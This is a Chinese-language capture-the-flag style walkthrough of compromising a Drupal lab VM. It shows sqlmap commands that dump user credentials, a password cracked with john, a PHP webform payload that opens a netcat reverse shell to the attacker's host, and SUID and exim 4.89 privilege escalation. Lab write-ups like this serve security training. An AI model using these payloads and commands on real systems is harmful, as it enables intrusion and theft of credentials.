0x00 靶场环境搭建
下载完成之后导入vmware或者virtualBox,网卡改为nat模式或仅主机模式(方便信息收集)
0x01 信息收集
arp-scan -l 扫描同号段发现靶机IP地址,直接nmap走起发现靶机开了80、22端口
尝试爆破了22端口,结果没用,但是在80端口web页面有一个cms,发现是一个Drupal的一个cms但是并没有发现相关的cms爆出的洞,于是我们随意点击一些链接发现存在报错注入
0x02靶场渗透
那么直接使用sqlmap一把梭试试,成功跑出两个用户名密码
sqlmap -u "http://192.168.94.213/?nid=3" --risk=3 --level=5 --batch --dbs
sqlmap -u "http://192.168.94.213/?nid=3" --risk=3 --level=5 --batch -D 'd7db' --tables
sqlmap -u "http://192.168.94.213/?nid=3" --risk=3 --level=5 --batch -D 'd7db' -T users --columns
sqlmap -u "http://192.168.94.213/?nid=3" --risk=3 --level=5 --batch -D 'd7db' -T users -C name,pass --dump
使用john破译出一个明文密码:turtle,使用御剑扫描出robots.txt,并发现后台管理员登录的地址,使用john用户名与爆破出的密码成功登录后台
于是寻找上传点,Contact Us->Webform->Form settings
<?php system("nc -e /bin/bash 192.168.94.207 4444");?>
点击保存
Kali linux开启监听,并回到Contact us填写内容进行提交并处罚反弹shell木马返回至kali当中
使用python创建一个伪终端(PTY)并执行交互式的 Bash shell
python -c 'import pty;pty.spawn("/bin/bash")'
0x03权限提升
尝试查找suid文件来进行提权
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
这两个命令都是用于在 Linux 系统中查找具有 SUID 权限设置的文件。它们的作用是相同的,只是使用了不同的方式来查询。
第一个命令 find / -perm -u=s -type f 2>/dev/null 使用 -perm -u=s 来查找具有 SUID 权限设置的文件,而第二个命令 find / -user root -perm -4000 -print 2>/dev/null 使用 -user root -perm -4000 来查找属主为 root 并且具有 SUID 权限设置的文件。
在这两个命令中,-perm -u=s 和 -perm -4000 都表示查找具有 SUID 权限设置的文件,-type f 用于限定搜索结果为普通文件,-user root 用于匹配属主为 root 的文件。
2>/dev/null 是将标准错误输出重定向到 /dev/null,这样可以隐藏权限不足等错误信息,让输出更清晰。
找到一个exim4的程序,于是查看exim4的具体版本号,则为exim4.89,返回kali中搜索对应的提权程序
接着进入改目录并使用Python搭建一个简单的web服务,然后下载至靶机当中进行提权。
在此目录我们发现没有权限下载,那么我们进入tmp目录进行下载
在Linux系统中,/tmp目录通常用于存储临时文件。这个目录通常被用于存放程序在运行过程中产生的临时文件,例如临时的缓存文件、临时的交换文件等。这些文件在系统重启时会被删除,因此不适合用来存放重要数据。
/tmp目录对所有用户都是可写的,这意味着任何用户都可以在这个目录下创建、编辑和删除文件。由于/tmp目录是共享的,所以需要注意确保在该目录下创建的临时文件不会影响其他用户或系统运行。
于是我们直接赋予777权限,并运行此提权程序
成功提权并找到flag值!